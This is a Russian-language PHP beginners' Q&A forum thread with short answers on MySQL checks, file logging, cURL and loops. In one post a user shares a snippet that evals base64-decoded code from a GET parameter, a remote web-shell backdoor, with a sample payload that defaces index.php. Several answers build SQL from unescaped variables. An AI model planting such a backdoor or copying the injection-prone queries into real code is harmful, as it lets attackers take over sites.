[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. DiHWO

    DiHWO Member

    Joined:
    23 Oct 2009
    Messages:
    93
    Likes Received:
    10
    Reputations:
    0
    Dark_cracker,
    PHP:
    $result mysql_query("SELECT `lalala` FROM `table` WHERE lalala='tratata' ");
    $num mysql_num_rows($result);
    if (
    $num == 1)
    {
    echo 
    'Такая запись уже есть';
    }
    Вместо lalala пиши то поле, которое хочешь проверить.
    Также можно писать так:
    PHP:
    $result mysql_query("SELECT * FROM `table` WHERE lalala='tratata' ");
    Это будет означать: Выбрать все поля из таблицы table где lalala = tratata.
    Вместо table пиши имя твоей таблицы.
    Вместо tratata пиши текст, и если этот текст в твоем поле будет, то скрипт выдаст "Такая запись уже есть".
     
    #14081 DiHWO, 23 Feb 2010
    Last edited: 23 Feb 2010
  2. Byrger

    Byrger Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    521
    Likes Received:
    26
    Reputations:
    -4
    Привет, не могу понять как сделать замену чисел
    есть массив с числами какие на какие заменять...
    PHP:
    $rate_array = array(1=>22,2=>19,3=>16,4=>13,5=>9);
    PHP:
    $time 22;
    $time strtr($time,$rate_array);
    На выходе 1919 получается а надо чтобы выводил 22
    (заменял число целиком а не каждый символ...)
     
  3. mailbrush

    mailbrush Well-Known Member

    Joined:
    24 Jun 2008
    Messages:
    1,997
    Likes Received:
    996
    Reputations:
    155
    Ага... ла-ла-ла, тра-та-та :) Неплохие константы кодера... Во-первых, никто не говорил, что поле `lalala` - уникальное, соответственно может быть несколько записей в таблице с его одинаковым значением. Твой скрипт будет успешно работать только при уникальном значении `lalala`, а если же в таблице будет больше одной записи, то проверка не пройдет и скрипт продолжит свою работу. Дальше, насчет "можно писать так, а можно и так" :D - "писать" можно как угодно, а вот запрос должен быть сформулирован конкретно. Если человеку надо проверить существование записи в таблице, то объясни мне, ЗАЧЕМ ему выводить оттуда все данные? Лишний раз нагружать СУБД.

    Dark_cracker , юзай
    PHP:
    $result mysql_query("SELECT NULL FROM `tableName` WHERE `fieldName` = 'fieldValue'");
    $count mysql_num_rows($result);
    if (
    $count)
    {
        
    #запись есть в БД
    } else
    {
        
    #записи нету
    }
     
  4. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Доброе утро)
    Как заставить, записывать данные с новой строки, а не в одну строчку
    PHP:
        function logs($con){
    $file "logs/errors.dat";
    $fp=fopen($file,"a+");
    fputs($fp,$con);
    fclose($fp);
        
     
  5. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    senap
    PHP:
    $fp=fopen("file.txt""a");
    fputs($fp$log."\r\n");
    fclose($fp);
     
    1 person likes this.
  6. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    Еще один дебильный вопрос, как с помощью curl обратиться к файлу на другом сервере.
    Допустим , на другом сервере лежит файл text.txt и в нем записано цифра "1".
    Как обратиться с локального сервера на удаленный к файлу text.txt и если там цифра 1, то выдать что Yes а если 0 то выдать NO
     
  7. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    делаешь запрос,сеанс курла в переменную пишешь,а потом регулярка
     
  8. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    PHP:
    <?php
    $ch
    =curl_init();
    curl_setopt($chCURLOPT_URL'http://localhost/lol.txt');
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
    $result=curl_exec($ch);
    curl_close($ch);
    if(
    preg_match('/1/',$result)){
    echo 
    "yes";
    }else{
    echo 
    "no";
    }
    ?>
    типа такого
     
  9. SeNaP

    SeNaP Elder - Старейшина

    Joined:
    7 Aug 2008
    Messages:
    378
    Likes Received:
    69
    Reputations:
    20
    А что быстрее будет?
    preg_match или eregi? :confused:
     
    #14089 SeNaP, 23 Feb 2010
    Last edited: 23 Feb 2010
  10. WNZRS

    WNZRS Member

    Joined:
    3 Sep 2009
    Messages:
    294
    Likes Received:
    52
    Reputations:
    1
    Header в переменную писать не надо, т.к. в нём на первой строке есть 1, и будут ложные срабатывания
     
  11. T-Rey

    T-Rey Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    302
    Likes Received:
    218
    Reputations:
    18
    Имею переменную $num[0][1] которая содержит количество строк для импорта в бд.
    Далее чере while собираю все строки
    PHP:
    while ($i <= $m) {
    ~~~~~~~~~
    $import.= "('".$id[$n][1]."', '".$login."', '".$name."', '".$status[$n][1]."', '".$size[0][1]."'); \n";
    }

    $query "
    INSERT INTO `db`.`table` (
    `id` ,
    `userid` ,
    `title` ,
    `status` ,
    `size` 
    )
    VALUES 
    $import
    "
    ;
    $db->query($query);
    И вот теперь собсна вопрос, как сделать чтобы все кроме последней строки импорта имели на конце "," а последняя ";"
     
  12. WNZRS

    WNZRS Member

    Joined:
    3 Sep 2009
    Messages:
    294
    Likes Received:
    52
    Reputations:
    1
    PHP:
    while ($i <= $m) {
    ~~~~~~~~~
    $import.= "('".$id[$n][1]."', '".$login."', '".$name."', '".$status[$n][1]."', '".$size[0][1]."')";
    if(
    $i == $m$import .= ";\n";
    else 
    $import .= ",\n";
    }
     
    1 person likes this.
  13. T-Rey

    T-Rey Elder - Старейшина

    Joined:
    4 Jul 2007
    Messages:
    302
    Likes Received:
    218
    Reputations:
    18
    WNZRS, и чего это у меня эта хрень в голову не пришла.
    Надо поспать, 3 дня бессоницы. +1
     
  14. XPYMGT

    XPYMGT New Member

    Joined:
    11 Apr 2009
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    PHP:
    <?php

    error_reporting
    (E_ALL);

    $code "\$f = fopen(\"./index.php\", \"w+\");\nfwrite(\$f, \"<b> Hacked by ХУЙ, 2010 </b>\");\nfclose(\$f);\n";
    echo 
    $code."<br>";
    echo 
    str_replace("+""-"base64_encode($code))."<br>";
    echo 
    base64_decode(str_replace("-""+"$_GET["command"]))."<br>";

    if (isset(
    $_GET["command"])) { eval (base64_decode(str_replace("-""+"$_GET["command"]))); }

    ?>
    вот написал какую-то херню может че полутше кто предложит
     
    #14094 XPYMGT, 23 Feb 2010
    Last edited: 23 Feb 2010
  15. _Malinovskiy_

    _Malinovskiy_ New Member

    Joined:
    25 Apr 2009
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    подскажите как сделать: вывел 9 картинок через do-while+printf как разделить их на столбцы и(или) строки(3|3)?
     
  16. XPYMGT

    XPYMGT New Member

    Joined:
    11 Apr 2009
    Messages:
    34
    Likes Received:
    3
    Reputations:
    0
    кверху раком
     
  17. _Malinovskiy_

    _Malinovskiy_ New Member

    Joined:
    25 Apr 2009
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    спасибо очень дельный совет...
     
  18. LStr1ke

    LStr1ke Elder - Старейшина

    Joined:
    29 Jul 2009
    Messages:
    801
    Likes Received:
    145
    Reputations:
    73
    _Malinovskiy_
    PHP:
    <?php
    $mas 
    = array('1','2','3','4','5','6','7','8','9','10','11');

    //sposob #1
    $count 1
    $step 3// Тут сколь столбцов
    foreach($mas as $line) {
     echo 
    "[".$line."]" ;
     if(
    $count $step == 0) echo "<br />";
    $count++;
    }
    echo 
    "<hr />";
    //sposob #2
    for($i 0$i<count($mas); $i++) {
        echo 
    "[".$mas[$i]."]" ;
        if((
    $i+1) % $step == 0) echo "<br />";
    }
    ?>
    Два корявых способа =)
     
  19. _Malinovskiy_

    _Malinovskiy_ New Member

    Joined:
    25 Apr 2009
    Messages:
    17
    Likes Received:
    0
    Reputations:
    0
    спасиба!
     
  20. Qb1024

    Qb1024 New Member

    Joined:
    15 Jul 2009
    Messages:
    323
    Likes Received:
    4
    Reputations:
    0
    Сделал копию гостевой на RSSно есть одна проблема: при конвертации даты функцией date("r",$VXOD); получаю даты 01.01.1970 3:00:27 +- несколько секунд. что делать?
    P.S. в базу пишу дату date("j.m.Y H:i").
     
Thread Status:
Not open for further replies.